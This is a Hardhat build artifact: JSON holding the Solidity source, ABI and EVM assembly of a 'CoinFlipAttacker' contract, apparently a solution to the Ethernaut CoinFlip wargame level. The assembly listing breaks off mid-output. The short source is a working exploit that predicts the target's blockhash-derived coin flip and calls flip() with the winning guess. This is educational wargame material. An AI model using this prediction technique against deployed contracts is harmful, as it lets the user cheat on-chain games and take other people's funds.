{ "id": "71c4186ddc00ddb528d65af236a89eb8", "_format": "hh-sol-build-info-1", "solcVersion": "0.8.18", "solcLongVersion": "0.8.18+commit.87f61d96", "input": { "language": "Solidity", "sources": { "contracts/ethernaut/coinflip.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract CoinFlipAttacker {\n address public coinFlipAddress;\n uint256 public consecutiveWins;\n uint256 lastHash;\n uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;\n\n constructor(address _coinFlipAddress) {\n coinFlipAddress = _coinFlipAddress;\n consecutiveWins = 0;\n }\n\n function attack() public returns (bool) {\n uint256 blockValue = uint256(blockhash(block.number - 1));\n\n if (lastHash == blockValue) {\n revert();\n }\n\n lastHash = blockValue;\n uint256 coinFlip = blockValue / FACTOR;\n bool side = coinFlip == 1 ? true : false;\n \n // Encode the function signature and parameters for the 'flip' function\n bytes memory payload = abi.encodeWithSignature(\"flip(bool)\", side);\n\n // Call the 'flip' function on the 'coinFlipAddress' contract\n (bool success, bytes memory result) = coinFlipAddress.call(payload);\n\n require(success, \"Call failed\");\n \n // Parse the result if needed (assuming 'flip' returns a boolean)\n bool flipResult = abi.decode(result, (bool));\n \n return flipResult;\n }\n}" } }, "settings": { "optimizer": { "enabled": false, "runs": 200 }, "outputSelection": { "*": { "": [ "ast" ], "*": [ "abi", "metadata", "devdoc", "userdoc", "storageLayout", "evm.legacyAssembly", "evm.bytecode", "evm.deployedBytecode", "evm.methodIdentifiers", "evm.gasEstimates", "evm.assembly" ] } } } }, "output": { "contracts": { "contracts/ethernaut/coinflip.sol": { "CoinFlipAttacker": { "abi": [ { "inputs": [ { "internalType": "address", "name": "_coinFlipAddress", "type": "address" } ], "stateMutability": "nonpayable", "type": "constructor" }, { "inputs": [], "name": "attack", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "coinFlipAddress", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "consecutiveWins", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" } ], "devdoc": { "kind": "dev", "methods": {}, "version": 1 }, "evm": { "assembly": " /* \"contracts/ethernaut/coinflip.sol\":57:1251 contract CoinFlipAttacker {... */\n mstore(0x40, 0x80)\n /* \"contracts/ethernaut/coinflip.sol\":200:277 57896044618658097711785492504343953926634992332820282019728792003956564819968 */\n 0x8000000000000000000000000000000000000000000000000000000000000000\n /* \"contracts/ethernaut/coinflip.sol\":183:277 uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968 */\n 0x03\n sstore\n /* \"contracts/ethernaut/coinflip.sol\":284:402 constructor(address _coinFlipAddress) {... */\n callvalue\n dup1\n iszero\n tag_1\n jumpi\n 0x00\n dup1\n revert\ntag_1:\n pop\n mload(0x40)\n sub(codesize, bytecodeSize)\n dup1\n bytecodeSize\n dup4\n codecopy\n dup2\n dup2\n add\n 0x40\n mstore\n dup2\n add\n swap1\n tag_2\n swap2\n swap1\n tag_3\n jump\t// in\ntag_2:\n /* \"contracts/ethernaut/coinflip.sol\":350:366 _coinFlipAddress */\n dup1\n /* \"contracts/ethernaut/coinflip.sol\":332:347 coinFlipAddress */\n 0x00\n dup1\n /* \"contracts/ethernaut/coinflip.sol\":332:366 coinFlipAddress = _coinFlipAddress */\n 0x0100\n exp\n dup2\n sload\n dup2\n 0xffffffffffffffffffffffffffffffffffffffff\n mul\n not\n and\n swap1\n dup4\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n mul\n or\n swap1\n sstore\n pop\n /* \"contracts/ethernaut/coinflip.sol\":394:395 0 */\n 0x00\n /* \"contracts/ethernaut/coinflip.sol\":376:391 consecutiveWins */\n 0x01\n /* \"contracts/ethernaut/coinflip.sol\":376:395 consecutiveWins = 0 */\n dup2\n swap1\n sstore\n pop\n /* \"contracts/ethernaut/coinflip.sol\":284:402 constructor(address _coinFlipAddress) {... */\n pop\n /* \"contracts/ethernaut/coinflip.sol\":57:1251 contract CoinFlipAttacker {... */\n jump(tag_6)\n /* \"#utility.yul\":88:205 */\ntag_8:\n /* \"#utility.yul\":197:198 */\n 0x00\n /* \"#utility.yul\":194:195 */\n dup1\n /* \"#utility.yul\":187:199 */\n revert\n /* \"#utility.yul\":334:460 */\ntag_10:\n /* \"#utility.yul\":371:378 */\n 0x00\n /* \"#utility.yul\":411:453 */\n 0xffffffffffffffffffffffffffffffffffffffff\n /* \"#utility.yul\":404:409 */\n dup3\n /* \"#utility.yul\":400:454 */\n and\n /* \"#utility.yul\":389:454 */\n swap1\n pop\n /* \"#utility.yul\":334:460 */\n swap2\n swap1\n pop\n jump\t// out\n /* \"#utility.yul\":466:562 */\ntag_11:\n /* \"#utility.yul\":503:510 */\n 0x00\n /* \"#utility.yul\":532:556 */\n tag_20\n /* \"#utility.yul\":550:555 */\n dup3\n /* \"#utility.yul\":532:556 */\n tag_10\n jump\t// in\ntag_20:\n /* \"#utility.yul\":521:556 */\n swap1\n pop\n /* \"#utility.yul\":466:562 */\n swap2\n swap1\n pop\n jump\t// out\n /* \"#utility.yul\":568:690 */\ntag_12:\n /* \"#utility.yul\":641:665 */\n tag_22\n /* \"#utility.yul\":659:664 */\n dup2\n /* \"#utility.yul\":641:665 */\n tag_11\n jump\t// in\ntag_22:\n /* \"#utility.yul\":634:639 */\n dup2\n /* \"#utility.yul\":631:666 */\n eq\n /* \"#utility.yul\":621:684 */\n tag_23\n jumpi\n /* \"#utility.yul\":680:681 */\n 0x00\n /* \"#utility.yul\":677:678 */\n dup1\n /* \"#utility.yul\":670:682 */\n revert\n /* \"#utility.yul\":621:684 */\ntag_23:\n /* \"#utility.yul\":568:690 */\n pop\n jump\t// out\n /* \"#utility.yul\":696:839 */\ntag_13:\n /* \"#utility.yul\":753:758 */\n 0x00\n /* \"#utility.yul\":784:790 */\n dup2\n /* \"#utility.yul\":778:791 */\n mload\n /* \"#utility.yul\":769:791 */\n swap1\n pop\n /* \"#utility.yul\":800:833 */\n tag_25\n /* \"#utility.yul\":827:832 */\n dup2\n /* \"#utility.yul\":800:833 */\n tag_12\n jump\t// in\ntag_25:\n /* \"#utility.yul\":696:839 */\n swap3\n swap2\n pop\n pop\n jump\t// out\n /* \"#utility.yul\":845:1196 */\ntag_3:\n /* \"#utility.yul\":915:921 */\n 0x00\n /* \"#utility.yul\":964:966 */\n 0x20\n /* \"#utility.yul\":952:961 */\n dup3\n /* \"#utility.yul\":943:950 */\n dup5\n /* \"#utility.yul\":939:962 */\n sub\n /* \"#utility.yul\":935:967 */\n slt\n /* \"#utility.yul\":932:1051 */\n iszero\n tag_27\n jumpi\n /* \"#utility.yul\":970:1049 */\n tag_28\n tag_8\n jump\t// in\ntag_28:\n /* \"#utility.yul\":932:1051 */\ntag_27:\n /* \"#utility.yul\":1090:1091 */\n 0x00\n /* \"#utility.yul\":1115:1179 */\n tag_29\n /* \"#utility.yul\":1171:1178 */\n dup5\n /* \"#utility.yul\":1162:1168 */\n dup3\n /* \"#utility.yul\":1151:1160 */\n dup6\n /* \"#utility.yul\":1147:1169 */\n add\n /* \"#utility.yul\":1115:1179 */\n tag_13\n jump\t// in\ntag_29:\n /* \"#utility.yul\":1105:1179 */\n swap2\n pop\n /* \"#utility.yul\":1061:1189 */\n pop\n /* \"#utility.yul\":845:1196 */\n swap3\n swap2\n pop\n pop\n jump\t// out\n /* \"contracts/ethernaut/coinflip.sol\":57:1251 contract CoinFlipAttacker {... */\ntag_6:\n dataSize(sub_0)\n dup1\n dataOffset(sub_0)\n 0x00\n codecopy\n 0x00\n return\nstop\n\nsub_0: assembly {\n /* \"contracts/ethernaut/coinflip.sol\":57:1251 contract CoinFlipAttacker {... */\n mstore(0x40, 0x80)\n callvalue\n dup1\n iszero\n tag_1\n jumpi\n 0x00\n dup1\n revert\n tag_1:\n pop\n jumpi(tag_2, lt(calldatasize, 0x04))\n shr(0xe0, calldataload(0x00))\n dup1\n 0x278de414\n eq\n tag_3\n jumpi\n dup1\n 0x9e5faafc\n eq\n tag_4\n jumpi\n dup1\n 0xe6f334d7\n eq\n tag_5\n jumpi\n tag_2:\n 0x00\n dup1\n revert\n /* \"contracts/ethernaut/coinflip.sol\":89:119 address public coinFlipAddress */\n tag_3:\n tag_6\n tag_7\n jump\t// in\n tag_6:\n mload(0x40)\n tag_8\n swap2\n swap1\n tag_9\n jump\t// in\n tag_8:\n mload(0x40)\n dup1\n swap2\n sub\n swap1\n return\n /* \"contracts/ethernaut/coinflip.sol\":408:1249 function attack() public returns (bool) {... */\n tag_4:\n tag_10\n tag_11\n jump\t// in\n tag_10:\n mload(0x40)\n tag_12\n swap2\n swap1\n tag_13\n jump\t// in\n tag_12:\n mload(0x40)\n dup1\n swap2\n sub\n swap1\n return\n /* \"contracts/ethernaut/coinflip.sol\":125:155 uint256 public consecutiveWins */\n tag_5:\n tag_14\n tag_15\n jump\t// in\n tag_14:\n mload(0x40)\n tag_16\n swap2\n swap1\n tag_17\n jump\t// in\n tag_16:\n mload(0x40)\n dup1\n swap2\n sub\n swap1\n return\n /* \"contracts/ethernaut/coinflip.sol\":89:119 address public coinFlipAddress */\n tag_7:\n 0x00\n dup1\n sload\n swap1\n 0x0100\n exp\n swap1\n div\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n dup2\n jump\t// out\n /* \"contracts/ethernaut/coinflip.sol\":408:1249 function attack() public returns (bool) {... */\n tag_11:\n /* \"contracts/ethernaut/coinflip.sol\":442:446 bool */\n 0x00\n /* \"contracts/ethernaut/coinflip.sol\":458:476 uint256 blockValue */\n dup1\n /* \"contracts/ethernaut/coinflip.sol\":512:513 1 */\n 0x01\n /* \"contracts/ethernaut/coinflip.sol\":497:509 block.number */\n number\n /* \"contracts/ethernaut/coinflip.sol\":497:513 block.number - 1 */\n tag_19\n swap2\n swap1\n tag_20\n jump\t// in\n tag_19:\n /* \"contracts/ethernaut/coinflip.sol\":487:514 blockhash(block.number - 1) */\n blockhash\n /* \"contracts/ethernaut/coinflip.sol\":479:515 uint256(blockhash(block.number - 1)) */\n 0x00\n shr\n /* \"contracts/ethernaut/coinflip.sol\":458:515 uint256 blockValue = uint256(blockhash(block.number - 1)) */\n swap1\n pop\n /* \"contracts/ethernaut/coinflip.sol\":542:552 blockValue */\n dup1\n /* \"contracts/ethernaut/coinflip.sol\":530:538 lastHash */\n sload(0x02)\n /* \"contracts/ethernaut/coinflip.sol\":530:552 lastHash == blockValue */\n sub\n /* \"contracts/ethernaut/coinflip.sol\":526:585 if (lastHash == blockValue) {... */\n tag_21\n jumpi\n /* \"contracts/ethernaut/coinflip.sol\":566:574 revert() */\n 0x00\n dup1\n revert\n /* \"contracts/ethernaut/coinflip.sol\":526:585 if (lastHash == blockValue) {... */\n tag_21:\n /* \"contracts/ethernaut/coinflip.sol\":606:616 blockValue */\n dup1\n /* \"contracts/ethernaut/coinflip.sol\":595:603 lastHash */\n 0x02\n /* \"contracts/ethernaut/coinflip.sol\":595:616 lastHash = blockValue */\n dup2\n swap1\n sstore\n pop\n /* \"contracts/ethernaut/coinflip.sol\":626:642 uint256 coinFlip */\n 0x00\n /* \"contracts/ethernaut/coinflip.sol\":658:664 FACTOR */\n sload(0x03)\n /* \"contracts/ethernaut/coinflip.sol\":645:655 blockValue */\n dup3\n /* \"contracts/ethernaut/coinflip.sol\":645:664 blockValue / FACTOR */\n tag_22\n swap2\n swap1\n tag_23\n jump\t// in\n tag_22:\n /* \"contracts/ethernaut/coinflip.sol\":626:664 uint256 coinFlip = blockValue / FACTOR */\n swap1\n pop\n /* \"contracts/ethernaut/coinflip.sol\":674:683 bool side */\n 0x00\n /* \"contracts/ethernaut/coinflip.sol\":698:699 1 */\n 0x01\n /* \"contracts/ethernaut/coinflip.sol\":686:694 coinFlip */\n dup3\n /* \"contracts/ethernaut/coinflip.sol\":686:699 coinFlip == 1 */\n eq\n /* \"contracts/ethernaut/coinflip.sol\":686:714 coinFlip == 1 ? true : false */\n tag_24\n jumpi\n /* \"contracts/ethernaut/coinflip.sol\":709:714 false */\n 0x00\n /* \"contracts/ethernaut/coinflip.sol\":686:714 coinFlip == 1 ? true : false */\n jump(tag_25)\n tag_24:\n /* \"contracts/ethernaut/coinflip.sol\":702:706 true */\n 0x01\n /* \"contracts/ethernaut/coinflip.sol\":686:714 coinFlip == 1 ? true : false */\n tag_25:\n /* \"contracts/ethernaut/coinflip.sol\":674:714 bool side = coinFlip == 1 ? true : false */\n swap1\n pop\n /* \"contracts/ethernaut/coinflip.sol\":813:833 bytes memory payload */\n 0x00\n /* \"contracts/ethernaut/coinflip.sol\":874:878 side */\n dup2\n /* \"contracts/ethernaut/coinflip.sol\":836:879 abi.encodeWithSignature(\"flip(bool)\", side) */\n add(0x24, mload(0x40))\n tag_26\n swap2\n swap1\n tag_13\n jump\t// in\n tag_26:\n mload(0x40)\n 0x20\n dup2\n dup4\n sub\n sub\n dup2\n mstore\n swap1\n 0x40\n mstore\n and(not(0xffffffffffffffffffffffffffffffffffffffffffffffffffffffff), 0x1d263f6700000000000000000000000000000000000000000000000000000000)\n 0x20\n dup3\n add\n dup1\n mload\n 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n dup4\n dup2\n dup4\n and\n or\n dup4\n mstore\n pop\n pop\n pop\n pop\n /* \"contracts/ethernaut/coinflip.sol\":813:879 bytes memory payload = abi.encodeWithSignature(\"flip(bool)\", side) */\n swap1\n pop\n /* \"contracts/ethernaut/coinflip.sol\":961:973 bool success */\n 0x00\n /* \"contracts/ethernaut/coinflip.sol\":975:994 bytes memory result */\n dup1\n /* \"contracts/ethernaut/coinflip.sol\":998:1013 coinFlipAddress */\n 0x00\n dup1\n sload\n swap1\n 0x0100\n exp\n swap1\n div\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n /* \"contracts/ethernaut/coinflip.sol\":998:1018 coinFlipAddress.call */\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n /* \"contracts/ethernaut/coinflip.sol\":1019:1026 payload */\n dup4\n /* \"contracts/ethernaut/coinflip.sol\":998:1027 coinFlipAddress.call(payload) */\n mload(0x40)\n tag_27\n swap2\n swap1\n tag_28\n jump\t// in\n tag_27:\n 0x00\n mload(0x40)\n dup1\n dup4\n sub\n dup2\n 0x00\n dup7\n gas\n call\n swap2\n pop\n pop\n returndatasize\n dup1\n 0x00\n dup2\n eq\n tag_31\n jumpi\n mload(0x40)\n swap2\n pop\n and(add(returndatasize, 0x3f), not(0x1f))\n dup3\n add\n 0x40\n mstore\n returndatasize\n dup3\n mstore\n returndatasize\n 0x00\n 0x20\n dup5\n add\n returndatacopy\n jump(tag_30)\n tag_31:\n 0x60\n swap2\n pop\n tag_30:\n pop\n /* \"contracts/ethernaut/coinflip.sol\":960:1027 (bool success, bytes memory result) = coinFlipAddress.call(payload) */\n swap2\n pop\n swap2\n pop\n /* \"contracts/ethernaut/coinflip.sol\":1046:1053 success */\n dup2\n /* \"contracts/ethernaut/coinflip.sol\":1038:1069 require(success, \"Call failed\") */\n tag_32\n jumpi\n mload(0x40)\n 0x08c379a000000000000000000000000000000000000000000000000000000000\n dup2\n mstore\n 0x04\n add\n tag_33\n swap1\n tag_34\n jump\t// in\n tag_33:\n mload(0x40)\n dup1\n swap2\n sub\n swap1\n revert\n tag_32:\n /* \"contracts/ethernaut/coinflip.sol\":1162:1177 bool flipResult */\n 0x00\n /* \"contracts/ethernaut/coinflip.sol\":1191:1197 result */\n dup2\n /* \"contracts/ethernaut/coinflip.sol\":1180:1206 abi.decode(result, (bool)) */\n dup1\n 0x20\n add\n swap1\n mload\n dup2\n add\n swap1\n tag_35\n swap2\n swap1\n tag_36\n jump\t// in\n tag_35:\n /* \"contracts/ethernaut/coinflip.sol\":1162:1206 bool flipResult = abi.decode(result, (bool)) */\n swap1\n pop\n /* \"contracts/ethernaut/coinflip.sol\":1232:1242 flipResult */\n dup1\n /* \"contracts/ethernaut/coinflip.sol\":1225:1242 return flipResult */\n swap8\n pop\n pop\n pop\n pop\n pop\n pop\n pop\n pop\n /* \"contracts/ethernaut/coinflip.sol\":408:1249 function attack() public returns (bool) {... */\n swap1\n jump\t// out\n /* \"contracts/ethernaut/coinflip.sol\":125:155 uint256 public consecutiveWins */\n tag_15:\n sload(0x01)\n dup2\n jump\t// out\n /* \"#utility.yul\":7:133 */\n tag_37:\n /* \"#utility.yul\":44:51 */\n 0x00\n /* \"#utility.yul\":84:126 */\n 0xffffffffffffffffffffffffffffffffffffffff\n /* \"#utility.yul\":77:82 */\n dup3\n /* \"#utility.yul\":73:127 */\n and\n /* \"#utility.yul\":62:127 */\n swap1\n pop\n /* \"#utility.yul\":7:133 */\n swap2\n swap1\n pop\n jump\t// out\n /* \"#utility.yul\":139:235 */\n tag_38:\n /* \"#utility.yul\":176:183 */\n 0x00\n /* \"#utility.yul\":205:229 */\n tag_61\n /* \"#utility.yul\":223:228 */\n dup3\n /* \"#utility.yul\":205:229 */\n tag_37\n jump\t// in\n tag_61:\n /* \"#utility.yul\":194:229 */\n swap1\n pop\n /* \"#utility.yul\":139:235 */\n swap2\n swap1\n pop\n jump\t// out\n /* \"#utility.yul\":241:359 */\n tag_39:\n /* \"#utility.yul\":328:352 */\n tag_63\n /* \"#utility.yul\":346:351 */\n dup2\n /* \"#utility.yul\":328:352 */\n tag_38\n jump\t// in\n tag_63:\n /* \"#utility.yul\":323:326 */\n dup3\n /* \"#utility.yul\":316:353 */\n mstore\n /* \"#utility.yul\":241:359 */\n pop\n pop\n jump\t// out\n /* \"#utility.yul\":365:587 */\n tag_9:\n /* \"#utility.yul\":458:462 */\n 0x00\n /* \"#utility.yul\":496:498 */\n 0x20\n /* \"#utility.yul\":485:494 */\n dup3\n /* \"#utility.yul\":481:499 */\n add\n /* \"#utility.yul\":473:499 */\n swap1\n pop\n /* \"#utility.yul\":509:580 */\n tag_65\n /* \"#utility.yul\":577:578 */\n 0x00\n /* \"#utility.yul\":566:575 */\n dup4\n /* \"#utility.yul\":562:579 */\n add\n /* \"#utility.yul\":553:559 */\n dup5\n /* \"#utility.yul\":509:580 */\n tag_39\n jump\t// in\n tag_65:\n /* \"#utility.yul\":365:587 */\n swap3\n swap2\n pop\n pop\n jump\t// out\n /* \"#utility.yul\":593:683 */\n tag_40:\n /* \"#utility.yul\":627:634 */\n 0x00\n /* \"#utility.yul\":670:675 */\n dup2\n /* \"#utility.yul\":663:676 */\n iszero\n /* \"#utility.yul\":656:677 */\n iszero\n /* \"#utility.yul\":645:677 */\n swap1\n pop\n /* \"#utility.yul\":593:683 */\n swap2\n swap1\n pop\n jump\t// out\n /* \"#utility.yul\":689:798 */\n tag_41:\n /* \"#utility.yul\":770:791 */\n tag_68\n /* \"#utility.yul\":785:790 */\n dup2\n /* \"#utility.yul\":770:791 */\n tag_40\n jump\t// in\n tag_68:\n /* \"#utility.yul\":765:768 */\n dup3\n /* \"#utility.yul\":758:792 */\n mstore\n /* \"#utility.yul\":689:798 */\n pop\n pop\n jump\t// out\n /* \"#utility.yul\":804:1014 */\n tag_13:\n /* \"#utility.yul\":891:895 */\n 0x00\n /* \"#utility.yul\":929:931 */\n 0x20\n /* \"#utility.yul\":918:927 */\n dup3\n /* \"#utility.yul\":914:932 */\n add\n /* \"#utility.yul\":906:932 */\n swap1\n pop\n /* \"#utility.yul\":942:1007 */\n tag_70\n /* \"#utility.yul\":1004:1005 */\n 0x00\n /* \"#utility.yul\":993:1002 */\n dup4\n /* \"#utility.yul\":989:1006 */\n add\n /* \"#utility.yul\":980:986 */\n dup5\n /* \"#utility.yul\":942:1007 */\n tag_41\n jump\t// in\n tag_70:\n /* \"#utility.yul\":804:1014 */\n swap3\n swap2\n pop\n pop\n jump\t// out\n /* \"#utility.yul\":1020:1097 */\n tag_42:\n /* \"#utility.yul\":1057:1064 */\n 0x00\n /* \"#utility.yul\":1086:1091 */\n dup2\n /* \"#utility.yul\":1075:1091 */\n swap1\n pop\n /* \"#utility.yul\":1020:1097 */\n swap2\n swap1\n pop\n jump\t// out\n /* \"#utility.yul\":1103:1221 */\n tag_43:\n /* \"#utility.yul\":1190:1214 */\n tag_73\n /* \"#utility.yul\":1208:1213 */\n dup2\n /* \"#utility.yul\":1190:1214 */\n tag_42\n jump\t// in\n tag_73:\n /* \"#utility.yul\":1185:1188 */\n dup3\n /* \"#utility.yul\":1178:1215 */\n mstore\n /* \"#utility.yul\":1103:1221 */\n pop\n pop\n jump\t// out\n /* \"#utility.yul\":1227:1449 */\n tag_17:\n /* \"#utility.yul\":1320:1324 */\n 0x00\n /* \"#utility.yul\":1358:1360 */\n 0x20\n /* \"#utility.yul\":1347:1356 */\n dup3\n /* \"#utility.yul\":1343:1361 */\n add\n /* \"#utility.yul\":1335:1361 */\n swap1\n pop\n /* \"#utility.yul\":1371:1442 */\n tag_75\n /* \"#utility.yul\":1439:1440 */\n 0x00\n /* \"#utility.yul\":1428:1437 */\n dup4\n /* \"#utility.yul\":1424:1441 */\n add\n /* \"#utility.yul\":1415:1421 */\n dup5\n /* \"#utility.yul\":1371:1442 */\n tag_43\n jump\t// in\n tag_75:\n /* \"#utility.yul\":1227:1449 */\n swap3\n swap2\n pop\n pop\n jump\t// out\n /* \"#utility.yul\":1455:1635 */\n tag_44:\n /* \"#utility.yul\":1503:1580 */\n 0x4e487b7100000000000000000000000000000000000000000000000000000000\n /* \"#utility.yul\":1500:1501 */\n 0x00\n /* \"#utility.yul\":1493:1581 */\n mstore\n /* \"#utility.yul\":1600:1604 */\n 0x11\n /* \"#utility.yul\":1597:1598 */\n 0x04\n /* \"#utility.yul\":1590:1605 */\n mstore\n /* \"#utility.yul\":1624:1628 */\n 0x24\n /* \"#utility.yul\":1621:1622 */\n 0x00\n /* \"#utility.yul\":1614:1629 */\n revert\n /* \"#utility.yul\":1641:1835 */\n tag_20:\n /* \"#utility.yul\":1681:1685 */\n 0x00\n /* \"#utility.yul\":1701:1721 */\n tag_78\n /* \"#utility.yul\":1719:1720 */\n dup3\n /* \"#utility.yul\":1701:1721 */\n tag_42\n jump\t// in\n tag_78:\n /* \"#utility.yul\":1696:1721 */\n swap2\n pop\n /* \"#utility.yul\":1735:1755 */\n tag_79\n /* \"#utility.yul\":1753:1754 */\n dup4\n /* \"#utility.yul\":1735:1755 */\n tag_42\n jump\t// in\n tag_79:\n /* \"#utility.yul\":1730:1755 */\n swap3\n pop\n /* \"#utility.yul\":1779:1780 */\n dup3\n /* \"#utility.yul\":1776:1777 */\n dup3\n /* \"#utility.yul\":1772:1781 */\n sub\n /* \"#utility.yul\":1764:1781 */\n swap1\n pop\n /* \"#utility.yul\":1803:1804 */\n dup2\n /* \"#utility.yul\":1797:1801 */\n dup2\n /* \"#utility.yul\":1794:1805 */\n gt\n /* \"#utility.yul\":1791:1828 */\n iszero\n tag_80\n jumpi\n /* \"#utility.yul\":1808:1826 */\n tag_81\n tag_44\n jump\t// in\n tag_81:\n /* \"#utility.yul\":1791:1828 */\n tag_80:\n /* \"#utility.yul\":1641:1835 */\n swap3\n swap2\n pop\n pop\n jump\t// out\n /* \"#utility.yul\":1841:2021 */\n tag_45:\n /* \"#utility.yul\":1889:1966 */\n 0x4e487b7100000000000000000000000000000000000000000000000000000000\n /* \"#utility.yul\":1886:1887 */\n 0x00\n /* \"#utility.yul\":1879:1967 */\n mstore\n /* \"#utility.yul\":1986:1990 */\n 0x12\n /* \"#utility.yul\":1983:1984 */\n 0x04\n /* \"#utility.yul\":1976:1991 */\n mstore\n /* \"#utility.yul\":2010:2014 */\n 0x24\n /* \"#utility.yul\":2007:2008 */\n 0x00\n /* \"#utility.yul\":2000:2015 */\n revert\n /* \"#utility.yul\":2027:2212 */\n tag_23:\n /* \"#utility.yul\":2067:2068 */\n 0x00\n /* \"#utility.yul\":2084:2104 */\n tag_84\n /* \"#utility.yul\":2102:2103 */\n dup3\n /* \"#utility.yul\":2084:2104 */\n tag_42\n jump\t// in\n tag_84:\n /* \"#utility.yul\":2079:2104 */\n swap2\n pop\n /* \"#utility.yul\":2118:2138 */\n tag_85\n /* \"#utility.yul\":2136:2137 */\n dup4\n /* \"#utility.yul\":2118:2138 */\n tag_42\n jump\t// in\n tag_85:\n /* \"#utility.yul\":2113:2138 */\n swap3\n pop\n /* \"#utility.yul\":2157:2158 */\n dup3\n /* \"#utility.yul\":2147:2182 */\n tag_86\n jumpi\n /* \"#utility.yul\":2162:2180 */\n tag_87\n tag_45\n jump\t// in\n tag_87:\n /* \"#utility.yul\":2147:2182 */\n tag_86:\n /* \"#utility.yul\":2204:2205 */\n dup3\n /* \"#utility.yul\":2201:2202 */\n dup3\n /* \"#utility.yul\":2197:2206 */\n div\n /* \"#utility.yul\":2192:2206 */\n swap1\n pop\n /* \"#utility.yul\":2027:2212 */\n swap3\n swap2\n pop\n pop\n jump\t// out\n /* \"#utility.yul\":2218:2316 */\n tag_46:\n /* \"#utility.yul\":2269:2275 */\n 0x00\n /* \"#utility.yul\":2303:2308 */\n dup2\n /* \"#utility.yul\":2297:2309 */\n mload\n /* \"#utility.yul\":2287:2309 */\n swap1\n pop\n /* \"#utility.yul\":2218:2316 */\n swap2\n swap1\n pop\n jump\t// out\n /* \"#utility.yul\":2322:2469 */\n tag_47:\n /* \"#utility.yul\":2423:2434 */\n 0x00\n /* \"#utility.yul\":2460:2463 */\n dup2\n /* \"#utility.yul\":2445:2463 */\n swap1\n pop\n /* \"#utility.yul\":2322:2469 */\n swap3\n swap2\n pop\n pop\n jump\t// out\n /* \"#utility.yul\":2475:2721 */\n tag_48:\n /* \"#utility.yul\":2556:2557 */\n 0x00\n /* \"#utility.yul\":2566:2679 */\n tag_91:\n /* \"#utility.yul\":2580:2586 */\n dup4\n /* \"#utility.yul\":2577:2578 */\n dup2\n /* \"#utility.yul\":2574:2587 */\n lt\n /* \"#utility.yul\":2566:2679 */\n iszero\n tag_93\n jumpi\n /* \"#utility.yul\":2665:2666 */\n dup1\n /* \"#utility.yul\":2660:2663 */\n dup3\n /* \"#utility.yul\":2656:2667 */\n add\n /* \"#utility.yul\":2650:2668 */\n mload\n /* \"#utility.yul\":2646:2647 */\n dup2\n /* \"#utility.yul\":2641:2644 */\n dup5\n /* \"#utility.yul\":2637:2648 */\n add\n /* \"#utility.yul\":2630:2669 */\n mstore\n /* \"#utility.yul\":2602:2604 */\n 0x20\n /* \"#utility.yul\":2599:2600 */\n dup2\n /* \"#utility.yul\":2595:2605 */\n add\n /* \"#utility.yul\":2590:2605 */\n swap1\n pop\n /* \"#utility.yul\":2566:2679 */\n jump(tag_91)\n tag_93:\n /* \"#utility.yul\":2713:2714 */\n 0x00\n /* \"#utility.yul\":2704:2710 */\n dup5\n /* \"#utility.yul\":2699:2702 */\n dup5\n /* \"#utility.yul\":2695:2711 */\n add\n /* \"#utility.yul\":2688:2715 */\n mstore\n /* \"#utility.yul\":2537:2721 */\n pop\n /* \"#utility.yul\":2475:2721 */\n pop\n pop\n pop\n jump\t// out\n /* \"#utility.yul\":2727:3113 */\n tag_49:\n /* \"#utility.yul\":2831:2834 */\n 0x00\n /* \"#utility.yul\":2859:2897 */\n tag_95\n /* \"#utility.yul\":2891:2896 */\n dup3\n /* \"#utility.yul\":2859:2897 */\n tag_46\n jump\t// in\n tag_95:\n /* \"#utility.yul\":2913:3001 */\n tag_96\n /* \"#utility.yul\":2994:3000 */\n dup2\n /* \"#utility.yul\":2989:2992 */\n dup6\n /* \"#utility.yul\":2913:3001 */\n tag_47\n jump\t// in\n tag_96:\n /* \"#utility.yul\":2906:3001 */\n swap4\n pop\n /* \"#utility.yul\":3010:3075 */\n tag_97\n /* \"#utility.yul\":3068:3074 */\n dup2\n /* \"#utility.yul\":3063:3066 */\n dup6\n /* \"#utility.yul\":3056:3060 */\n 0x20\n /* \"#utility.yul\":3049:3054 */\n dup7\n /* \"#utility.yul\":3045:3061 */\n add\n /* \"#utility.yul\":3010:3075 */\n tag_48\n jump\t// in\n tag_97:\n /* \"#utility.yul\":3100:3106 */\n dup1\n /* \"#utility.yul\":3095:3098 */\n dup5\n /* \"#utility.yul\":3091:3107 */\n add\n /* \"#utility.yul\":3084:3107 */\n swap2\n pop\n /* \"#utility.yul\":2835:3113 */\n pop\n /* \"#utility.yul\":2727:3113 */\n swap3\n swap2\n pop\n pop\n jump\t// out\n /* \"#utility.yul\":3119:3390 */\n tag_28:\n /* \"#utility.yul\":3249:3252 */\n 0x00\n /* \"#utility.yul\":3271:3364 */\n tag_99\n /* \"#utility.yul\":3360:3363 */\n dup3\n /* \"#utility.yul\":3351:3357 */\n dup5\n /* \"#utility.yul\":3271:3364 */\n tag_49\n jump\t// in\n tag_99:\n /* \"#utility.yul\":3264:3364 */\n swap2\n pop\n /* \"#utility.yul\":3381:3384 */\n dup2\n /* \"#utility.yul\":3374:3384 */\n swap1\n pop\n /* \"#utility.yul\":3119:3390 */\n swap3\n swap2\n pop\n pop\n jump\t// out\n /* \"#utility.yul\":3396:3565 */\n tag_50:\n /* \"#utility.yul\":3480:3491 */\n 0x00\n /* \"#utility.yul\":3514:3520 */\n dup3\n /* \"#utility.yul\":3509:3512 */\n dup3\n /* \"#utility.yul\":3502:3521 */\n mstore\n /* \"#utility.yul\":3554:3558 */\n 0x20\n /* \"#utility.yul\":3549:3552 */\n dup3\n /* \"#utility.yul\":3545:3559 */\n add\n /* \"#utility.yul\":3530:3559 */\n swap1\n pop\n /* \"#utility.yul\":3396:3565 */\n swap3\n swap2\n pop\n pop\n jump\t// out\n /* \"#utility.yul\":3571:3732 */\n tag_51:\n /* \"#utility.yul\":3711:3724 */\n 